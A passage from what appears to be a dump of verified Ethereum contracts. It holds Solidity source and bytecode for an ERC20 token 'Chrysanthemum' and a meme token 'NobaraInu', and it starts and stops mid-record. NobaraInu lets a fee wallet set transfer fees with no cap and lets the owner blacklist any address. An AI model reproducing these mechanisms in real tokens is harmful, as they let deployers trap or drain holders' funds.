tokens. * @param spender The address that will spend the tokens. * @param value The number of tokens that can be spent. */ function _approve(address owner, address spender, uint256 value) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = value; emit Approval(owner, spender, value); } /** * @dev Internal function that burns an amount of the token of a given * account, deducting from the sender's allowance for said account. Uses the * internal burn function. * Emits an Approval event (reflecting the reduced allowance). * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burnFrom(address account, uint256 value) internal { _burn(account, value); _approve(account, msg.sender, _allowances[account][msg.sender].sub(value)); } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract ERC20Burnable is ERC20 { /** * @dev Burns a specific amount of tokens. * @param value The amount of token to be burned. */ function burn(uint256 value) public { _burn(msg.sender, value); } /** * @dev Burns a specific amount of tokens from the target address and decrements allowance. * @param from address The account whose tokens will be burned. * @param value uint256 The amount of token to be burned. */ function burnFrom(address from, uint256 value) public { _burnFrom(from, value); } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor () internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } /** * @return the address of the owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @return true if `msg.sender` is the owner of the contract. */ function isOwner() public view returns (bool) { return msg.sender == _owner; } /** * @dev Allows the current owner to relinquish control of the contract. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. * @notice Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @title ERC20Detailed token * @dev The decimals are only for visualization purposes. * All the operations are done using the smallest and indivisible token unit, * just as on Ethereum all the operations are done in wei. */ contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } /** * @return the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @return the symbol of the token. */ function symbol() public view returns (string memory) { return _symbol; } /** * @return the number of decimals of the token. */ function decimals() public view returns (uint8) { return _decimals; } } /** * @title ERC20 token contract of Chrysanthemum */ contract ERC20Token is ERC20, ERC20Detailed, Ownable, ERC20Burnable { uint8 public constant DECIMALS = 4; uint256 public constant INITIAL_SUPPLY = 10000000000000 * (10 ** uint256(DECIMALS)); /** * @dev Constructor that gives msg.sender all of existing tokens. */ constructor () public ERC20Detailed("Chrysanthemum", "CRYM", DECIMALS) { _mint(msg.sender, INITIAL_SUPPLY); } }
0x608060405234801561001057600080fd5b50600436106101215760003560e01c806370a08231116100ad57806395d89b411161007157806395d89b41146104c9578063a457c2d71461054c578063a9059cbb146105b2578063dd62ed3e14610618578063f2fde38b1461069057610121565b806370a08231146103ad578063715018a61461040557806379cc67901461040f5780638da5cb5b1461045d5780638f32d59b146104a757610121565b80632e0f2625116100f45780632e0f2625146102b35780632ff2e9dc146102d7578063313ce567146102f5578063395093511461031957806342966c681461037f57610121565b806306fdde0314610126578063095ea7b3146101a957806318160ddd1461020f57806323b872dd1461022d575b600080fd5b61012e6106d4565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101f5600480360360408110156101bf57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610776565b604051808215151515815260200191505060405180910390f35b61021761078d565b6040518082815260200191505060405180910390f35b6102996004803603606081101561024357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610797565b604051808215151515815260200191505060405180910390f35b6102bb610848565b604051808260ff1660ff16815260200191505060405180910390f35b6102df61084d565b6040518082815260200191505060405180910390f35b6102fd610860565b604051808260ff1660ff16815260200191505060405180910390f35b6103656004803603604081101561032f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610877565b604051808215151515815260200191505060405180910390f35b6103ab6004803603602081101561039557600080fd5b810190808035906020019092919050505061091c565b005b6103ef600480360360208110156103c357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610929565b6040518082815260200191505060405180910390f35b61040d610971565b005b61045b6004803603604081101561042557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610aac565b005b610465610aba565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104af610ae4565b604051808215151515815260200191505060405180910390f35b6104d1610b3c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105115780820151818401526020810190506104f6565b50505050905090810190601f16801561053e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6105986004803603604081101561056257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bde565b604051808215151515815260200191505060405180910390f35b6105fe600480360360408110156105c857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c83565b604051808215151515815260200191505060405180910390f35b61067a6004803603604081101561062e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c9a565b6040518082815260200191505060405180910390f35b6106d2600480360360208110156106a657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d21565b005b606060038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561076c5780601f106107415761010080835404028352916020019161076c565b820191906000526020600020905b81548152906001019060200180831161074f57829003601f168201915b5050505050905090565b6000610783338484610da7565b6001905092915050565b6000600254905090565b60006107a4848484610f9e565b61083d843361083885600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111b490919063ffffffff16565b610da7565b600190509392505050565b600481565b600460ff16600a0a6509184e72a0000281565b6000600560009054906101000a900460ff16905090565b6000610912338461090d85600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461123d90919063ffffffff16565b610da7565b6001905092915050565b61092633826112c5565b50565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610979610ae4565b6109eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610ab68282611463565b5050565b6000600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614905090565b606060048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610bd45780601f10610ba957610100808354040283529160200191610bd4565b820191906000526020600020905b815481529060010190602001808311610bb757829003601f168201915b5050505050905090565b6000610c793384610c7485600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111b490919063ffffffff16565b610da7565b6001905092915050565b6000610c90338484610f9e565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610d29610ae4565b610d9b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610da48161150a565b50565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e2d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806116dd6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610eb3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602281526020018061169a6022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611024576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806116516023913960400191505060405180910390fd5b611075816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111b490919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611108816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461123d90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b60008282111561122c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525060200191505060405180910390fd5b600082840390508091505092915050565b6000808284019050838110156112bb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561134b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806116bc6021913960400191505060405180910390fd5b611360816002546111b490919063ffffffff16565b6002819055506113b7816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111b490919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b61146d82826112c5565b611506823361150184600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111b490919063ffffffff16565b610da7565b5050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611590576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806116746026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505056fe45524332303a207472616e7366657220746f20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a265627a7a72305820c72956621499634de3fd0b59d6f96c002e3e693a273d7bc5a10e20e304b60c8364736f6c634300050a0032
{"success": true, "error": null, "results": {}}
1,788
0x8097093cdb434aaeb70e3f9e6660f49db02faba9
/** *Submitted for verification at Etherscan.io on 2021-11-09 */ /** Telegram: https://t.me/NobaraInu **/ //SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract NobaraInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1 = 1; uint256 private _feeAddr2 = 10; address payable private _feeAddrWallet1 = payable(0x09b277a2b9D21F4D3e5D81fdaf86B4aCCb7a52a1); address payable private _feeAddrWallet2 = payable(0xD2511e8fcb89AA9476169c3dBc7d416f12d66b00); string private constant _name = "Nobara Inu"; string private constant _symbol = "NOBARA"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[_feeAddrWallet2] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function setFeeAmountOne(uint256 fee) external { require(_msgSender() == _feeAddrWallet2, "Unauthorized"); _feeAddr1 = fee; } function setFeeAmountTwo(uint256 fee) external { require(_msgSender() == _feeAddrWallet2, "Unauthorized"); _feeAddr2 = fee; } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 50000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _isBuy(address _sender) private view returns (bool) { return _sender == uniswapV2Pair; } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101185760003560e01c8063715018a6116100a0578063b515566a11610064578063b515566a14610321578063c3c8cd8014610341578063c9567bf914610356578063cfe81ba01461036b578063dd62ed3e1461038b57600080fd5b8063715018a614610275578063842b7c081461028a5780638da5cb5b146102aa57806395d89b41146102d2578063a9059cbb1461030157600080fd5b8063273123b7116100e7578063273123b7146101e2578063313ce567146102045780635932ead1146102205780636fc3eaec1461024057806370a082311461025557600080fd5b806306fdde0314610124578063095ea7b31461016957806318160ddd1461019957806323b872dd146101c257600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5060408051808201909152600a8152694e6f6261726120496e7560b01b60208201525b604051610160919061187d565b60405180910390f35b34801561017557600080fd5b50610189610184366004611704565b6103d1565b6040519015158152602001610160565b3480156101a557600080fd5b506b033b2e3c9fd0803ce80000005b604051908152602001610160565b3480156101ce57600080fd5b506101896101dd3660046116c3565b6103e8565b3480156101ee57600080fd5b506102026101fd366004611650565b610451565b005b34801561021057600080fd5b5060405160098152602001610160565b34801561022c57600080fd5b5061020261023b3660046117fc565b6104a5565b34801561024c57600080fd5b506102026104ed565b34801561026157600080fd5b506101b4610270366004611650565b61051a565b34801561028157600080fd5b5061020261053c565b34801561029657600080fd5b506102026102a5366004611836565b6105b0565b3480156102b657600080fd5b506000546040516001600160a01b039091168152602001610160565b3480156102de57600080fd5b506040805180820190915260068152654e4f4241524160d01b6020820152610153565b34801561030d57600080fd5b5061018961031c366004611704565b610607565b34801561032d57600080fd5b5061020261033c366004611730565b610614565b34801561034d57600080fd5b506102026106aa565b34801561036257600080fd5b506102026106e0565b34801561037757600080fd5b50610202610386366004611836565b610aa9565b34801561039757600080fd5b506101b46103a636600461168a565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103de338484610b00565b5060015b92915050565b60006103f5848484610c24565b610447843361044285604051806060016040528060288152602001611a69602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f07565b610b00565b5060019392505050565b6000546001600160a01b031633146104845760405162461bcd60e51b815260040161047b906118d2565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104cf5760405162461bcd60e51b815260040161047b906118d2565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b03161461050d57600080fd5b4761051781610f41565b50565b6001600160a01b0381166000908152600260205260408120546103e290610fc6565b6000546001600160a01b031633146105665760405162461bcd60e51b815260040161047b906118d2565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600d546001600160a01b0316336001600160a01b0316146106025760405162461bcd60e51b815260206004820152600c60248201526b155b985d5d1a1bdc9a5e995960a21b604482015260640161047b565b600a55565b60006103de338484610c24565b6000546001600160a01b0316331461063e5760405162461bcd60e51b815260040161047b906118d2565b60005b81518110156106a65760016006600084848151811061066257610662611a19565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069e816119e8565b915050610641565b5050565b600c546001600160a01b0316336001600160a01b0316146106ca57600080fd5b60006106d53061051a565b90506105178161104a565b6000546001600160a01b0316331461070a5760405162461bcd60e51b815260040161047b906118d2565b600f54600160a01b900460ff16156107645760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161047b565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107a430826b033b2e3c9fd0803ce8000000610b00565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156107dd57600080fd5b505afa1580156107f1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610815919061166d565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561085d57600080fd5b505afa158015610871573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610895919061166d565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156108dd57600080fd5b505af11580156108f1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610915919061166d565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d71947306109458161051a565b60008061095a6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156109bd57600080fd5b505af11580156109d1573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109f6919061184f565b5050600f80546a295be96e6406697200000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610a7157600080fd5b505af1158015610a85573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106a69190611819565b600d546001600160a01b0316336001600160a01b031614610afb5760405162461bcd60e51b815260206004820152600c60248201526b155b985d5d1a1bdc9a5e995960a21b604482015260640161047b565b600b55565b6001600160a01b038316610b625760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161047b565b6001600160a01b038216610bc35760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161047b565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c885760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161047b565b6001600160a01b038216610cea5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161047b565b60008111610d4c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161047b565b6000546001600160a01b03848116911614801590610d7857506000546001600160a01b03838116911614155b15610ef7576001600160a01b03831660009081526006602052604090205460ff16158015610dbf57506001600160a01b03821660009081526006602052604090205460ff16155b610dc857600080fd5b600f546001600160a01b0